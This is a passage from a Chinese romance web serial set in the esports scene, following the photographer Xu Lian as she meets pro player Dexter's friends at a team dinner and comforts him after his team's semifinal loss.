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Dexter正在接受败者单采,路过时,许恋能听见记者问他:“今天的比赛中,有没有某一瞬间,让你产生了:如果换成三年前的我,这波操作就成功的感受?” 好尖锐啊这个记者。 最让人难受的不是技不如人,因为这个世界总有比自己厉害的人。但不如曾经的自己,无法复刻往日的辉煌,这种落差带来的挫败感,往往比输给别人更沉重。 索德在脑海里过了一遍这个问题,接着才拿起麦克风,他说:“刚开始恢复训练的会有这种感觉。” 他一顿,“但对我来说,十八岁的我和二十一岁的我有着不同的优势。现在更稳扎稳打,注重团队的协作。” “当然,不变的是,我对冠军的渴望。” 许恋听完后,嘴角微微上扬。 “许恋,等会一起去吃饭啊?” 这会路过的索言见了她,他语气正常,似乎没有被DBG的失败影响到。 许恋刚想拒绝,索言又开口:“别不好意思啊,反正今天德德的朋友们也在,一起来,人多热闹。” 她刚张开的嘴立马又合上了。 许恋捕捉到的第一个关键词是“德德”,感叹原来他的家人是这样叫他的。 捕捉到的第二个关键词是“德德的朋友”。她想到比赛开始前,在台下看见的江可心的身影。 “好。” 碎碎说过:停止内耗,从主动揭露内心的好奇开始。 她正准备走向工作人员共享的休息室,索言再一次开口叫住她。 他眉梢向上挑了挑,抬了抬手中的手机,“方便加个微信吗?” 嘴角的笑意加深,“感觉我们以后会常见面。” 许恋自然也不会拒绝,拿出手机添加了他的微信。 21. 第二十一个恋想 “付翊均!” 许恋刚结束自己的工作往DBG休息室走,隔老远就看见了倚靠在门口的付翊均。 她小跑过去,一张嘴就是安慰他:“你们才刚开始磨合,能在德杯打到四强已经很厉害啦!” 付翊均嘴角牵了一个笑,晲着她,“你还可以再敷衍一点。” 许恋蹙眉,小脾气来了,叉着腰问他:“我哪里敷衍了?!我真的在认真安慰你。” 他站直,垂眸看着她,闷闷地说:“如果现在站在你面前的是Dexter,你会说什么?” “那也是一样呀。” 付翊均斩钉截铁,“不一样。” 就算是一模一样的一句话,那也不一样。 许恋表情松动,有些不明显,“为什么不一样?” 因为我和你认识的十四年,比不上你与他三年前的那一眼。 可他没有说。 只是紧紧地盯着她看了一瞬,而后叹了一口气,瞥开了目光。 许恋不知道他怎么了,她站在原地绞尽脑汁地想着要再说些什么显得不敷衍。 她再次仰头说:“可你今天真的发挥得很好,没有什么失误啊,也没有什么问题啊。你们只是……” Sea刚好从休息室里出来,听见了这句话,他挑了挑眉眉,“那是我们的问题咯?” 其实是开玩笑的。 但许恋这个人特别在意别人的情绪,她害怕真给人说生气了。 脸上的表情更加认真,连忙摆手,语调温和地解释:“你们五个都没有问题,只是默契没有CCW好。” 索德是在她说这句话时从休息室里出来。 许恋的目光一下子就被他吸引。 与往常不一样的是,他单肩背着一个黑色的书包,里面装着的是他比赛时用的设备。 很有大学的学长味,有点让许恋移不开眼睛。 可索德的目光,先是被说话的她吸引,接着落在了许恋与付翊均之间的距离上。 是不是有点太近了。 他觉得,本来就不怎么美好的心情,现在突然更堵得慌了。 拉了拉书包肩带,沉默地往场馆外走去。 Sea刚想拉着Dexter一起说说许恋,结果人转头就走,他站在原地:“哎,Dexter走那么快干什么!” “一会见啊,Destin。”说完,他也追上去了。 付翊均低头,嘴角带着一抹不易察觉的笑意。 DBG的队友都走老远了,付翊均仍停在原地,还未动身。 “等会儿,和我坐一排。” 说的是等会去聚餐大巴车上的座位。 许恋愣了一下,随即笑起来:“当然了。” 她话锋一转,“哎,你知道吗?今天Dexter朋友也在……” “我知道。” 他垂眸看着她略带着紧张的表情,“你不是有我吗?” 然后转身,追向远处的队友。 许恋常常喜欢焦虑一些莫名的事情,比如她会害怕索德的朋友对她印象不好,害怕她没参与过的索德的过去有她无法掌控的事。 而他,懂她的焦虑。 …… 场馆外早已被热情的粉丝围得水泄不通。 当DBG队员们走出来的瞬间—— “Dexter!!!” “Dexter你今天真的真的超级棒了!!!” “Attachment!你今天打得很好了!” …… 呼喊声一波高过一波,有人高举着手幅拼命挥舞。 许恋默不作声地从与粉丝互动的他们身后走过,上了不远处的大巴车。 她上车时,第一反应是看向索德常坐的那个位置。 是空的。 他的朋友们坐在了隔着过道的那两排的位置。 是她在观众席看见的两男一女。 第一排坐着江可心和一个长得白白净净的男生,戴着一个金丝眼镜,眼镜后的那双眼明亮又清澈,给人一种温顺干净的感觉。 第二排靠窗坐着另一位男生,对比起前面的男生,他似乎有些高冷,棱角分明的脸上没有任何表情。 只是机械地随着传来动静的门口望来。 见许恋上车,第一排的那个男生,他眼眸一弯,身体微微向前倾,右手随意又不失礼貌地抬起。 开口说:“嗨,你好。” 声音语调上扬,莫名地让人有亲切感。 许恋没想到他会和自己打招呼,懵了一瞬,下一秒立马扬起一个恰到好处的笑:“嗨~” 她没有犹豫,在索德常坐的位置后面一排落座。 “你是不是Destin?”那个男生在她坐下后,回过头来,眼神亮晶晶地问她。 许恋惊讶地睁大眼睛,随后点了点头。 “哎哎哎。”他猛地坐直身子,夸张地竖起大拇指,“你照片拍得真的好!你当年给德子拍的那组照片,简直是他的人生照片!” 许恋放松下来,她眼角向上弯了弯。她其实很享受——每当Destin和Dexter有所牵连时,他们总是惊叹地想起那一组照片。 她的心里,就会产生一种满足感。 也代表着,他和她世界交叠的开始,被所有人都记住了。 “德子?”但许恋开口的重点,却落在了对他的称呼上。 “对啊,我们都这么叫他。” 他的称呼真多,家人叫是“德德”,朋友叫是“德子”。 “你是Destin!!”江可心自从刚刚听见他们的对话后,眼镜“唰”地亮了。这会终于能插上话了,她整个人扭转过来,双膝直接跪在座椅上,亮晶晶地看向许恋的座位。 许恋原本竖起的防御,因为他们话语里的亲切感,彻底瓦解了。 江可心似乎和自己想象中的不一样。 她在网上看见的她,都是眼神疏离,看起来比较高冷清贵的模样。 总之和现在因为兴奋而脸颊微微泛红的她不一样。 “那、那那!”她扒着座椅的手越发用力,“我可以找你约拍一组照片嘛!” 她怕这样突然说有些冒昧,又急着补一句:“当时我看到你给德子拍的那组照片,我就让他帮忙联系你,但他说没有你的联系方式……” “我后来还给你发过私信,但是也没收到回应。” 她顿了顿,怕这些解释显得太刻意,她直视许恋的眼睛,这回语速慢下来,一字一句格外认真:“我想说的是,我真的很喜欢你的摄影风格,就是格外不一样,特别有故事感!” 坐她旁边的男生再一次开口,语气里带着调侃:“你谁啊你就叫人家和你合作拍摄,不先自我介绍?” 许恋摇了摇头,嘴角弯了弯,“不用介绍,我知道你的。” “江可心。” 她没有犹豫,将国庆那天看见她和索德一起走的事全盘托出。 掩去了自己当时内心的心理活动。 江可心愣了一下,她想起索德那天说是去帮陆导去高铁站接他表妹。 “你还是陆导的表妹!” 许恋笑意加深,点了点头。 “OK,你是大明星不用自我介绍。那我和云晋呢?人家可不认识咱俩。”那个男生拍了拍江可心的肩,提醒她他们还没自我介绍呢。 江可心这才反应过来,不好意思地抿了抿嘴,“噢……” “哈喽你好,我叫谌弈川。”第一排那个男生主动开口,语气随和解释:“是索德的初高中同学,从小被他压榨的那种,你要听他提起谁老替他背锅,那个背锅的就是我。” 第二排那个一直沉默地男生终于抬起头,目光停在许恋的脸上,声音低低的:“云晋,和他一样。” 她就这样认识了索德的朋友……接触到他的好友圈了嘛……好神奇的感受。 江可心还想说些什么。 恰在此时,大巴车门口传来动静。DBG的队员一个接一个的上来。 车厢里顿时热闹起来,队员们三三两两的找位置坐下,说笑声和走动的动静混成一片。 索德是最后一个上来的。 他踩着台阶上来时,一眼就看见了自己常坐位置的后一排的那俩人。 付翊均坐在许恋旁边,正偏头和她说些什么。许恋侧耳听着,边听嘴角还带着一抹笑意。 莫名有点烦闷。 他面无表情地收回视线,走到自己的座位上坐下。 即使他们此刻在他的背面,但他脑海里,两人并肩而坐的画面怎么也挥之不去。 一路上,他没再开口说过一句话。 谌弈川原本还想找他聊点什么。侧头看他这样,以为他还沉浸在今天的失败当中,就没管他。 一直和一个过道之隔的索言交流着。 没过多久,索言正拧开矿泉水喝水。司机一个急刹,水猛地晃出来,泼了他半身。 “靠——” 索言手忙脚乱地拿袖子擦,狼狈得不行。 后一排的许恋看见,连忙去翻自己随身的包,“我有纸……” 话还没说完,前排的索德已经将口袋里的一包手帕纸递给了索言。 “没事,我有。” 即使心情不太好,对她开口时依旧保持着温柔。 索言愣了愣,接过来,“谢了。” “卧槽?”谌弈川看到这一幕,感叹:“不是?索德,你什么时候开始随身带纸了?” 这一句,也让许恋看向了谌弈川的方向。 江可心不以为意地说:“很久就有这个习惯了啊,你有一次上厕所没纸不就是德子给你的,现在惊讶什么?” 是吗……?谌弈川挠了挠头。 至于他现在关注男生随身带纸这一点,还是因为江可心天天念他,说随身带纸是精致男人养成的第一条。 索德没答,他转 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他扫过众人,突然一笑,“正是在下。” 紧接着有人反应过来,瞪大眼睛:“卧槽?原来你们俩是情侣啊?” Sea接着又问:“那你不吃醋吗?” “这有什么好吃的。”谌弈川耸耸肩,表情坦然得很。 江可心面上不显,低头扒拉着碗里的米饭,在心里默默骂了一句:装货。 她斜睨了他一眼,正好撞见他偷偷瞥过来的眼神。那眼神里分明写着“求表扬”三个大字,跟条等着摸头的狗似的。 装,接着装。 也不知道因为这乌龙,折磨自己那么久的是谁。 她在心里翻了个白眼,嘴角却忍不住微微弯了一下。 围观一切的许恋愣住了。 也就是说,她那几天内耗了那么久,而他们真的只是普通朋友的关系。 心里的乌云全都散去,内心不自觉地开始哼起歌。 聚餐后半程,索德几乎没说什么话。 快散场时,他突然起身向外走。 隆冬的夜晚寒气袭人。 索德站在梧桐树下,身侧是垃圾桶,他背对着门,点了根烟。 身后传来轻轻地脚步声。 这个脚步声,有点熟悉。 他在心里猜想,是许恋吗? 果不其然,他侧头,看见许恋走到了他身旁。 索德灭了烟,说了今晚的第一句话:“你怎么出来了?”许久未开口,带着一丝沙哑。 “看你不太高兴。”她面对着他,微微仰头,不想错过他脸上的任何一个表情。 他叹息一口气,垂眸对上她的视线。 她的眼神总是那样明晃晃的,就这样不闪躲的看着他。 “进去吧,”他说,声音比刚刚温和了些,“外面冷。” “你呢?” “我等会就进去。” 许恋点点头,却没走。 还向他走进一步,离得更近,许恋能看清他神色恹恹的表情。 夜风从两人之间穿过,带着冬的凉意。 许恋沉默一会,忽然开口:“是因为今天的比赛吗?” 索德愣了一下。 他没打职业之前,几乎没怎么在游戏里输过。后来打职业,发现自己的天赋不过也是职业选手的入门。 关于失败,他曾经花了很长时间去释怀,现在已经能坦然接受了。 至于今晚这种莫名其妙的情绪,他说不清是什么。 许恋把这沉默当成了默认。 她往前又凑了半步,语气认真起来,带着点笨拙的安慰:“没关系的,真的。” “这是你们新阵容的第一次比赛,能到四强很不错啦!你们又不是输在实力上,只是默契没有CCW高,我看网上都说你们是实力第一阵容……” 她说着说着,语气里带上了一点她自己都没察觉的温柔:“你们下一次肯定会打回来的!” 索德看着她。 她就站在他面前,认真地看着他。笨拙的、小心翼翼的、以为他是因为比赛失误而难过。 看着这样的她,他忽然觉得自己这一晚上的低落,幼稚得有些可笑。 她就这么站在这里,陪他吹冷风,绞尽脑汁地想着怎么安慰他。 他忽然笑了一下。 付翊均坐她旁边怎么了?她跟付翊均说话怎么了?他凭什么不高兴?他又有什么资格不高兴? 许恋:“你……笑什么?” “没什么。”他说,声音比刚才又软了几分,“进去吧,外面很冷。” 许恋还想说什么,他却已经转身往门口走了。走了两步,又停下来,回头看她。 “许恋。” “嗯?” “付翊均很好吗?”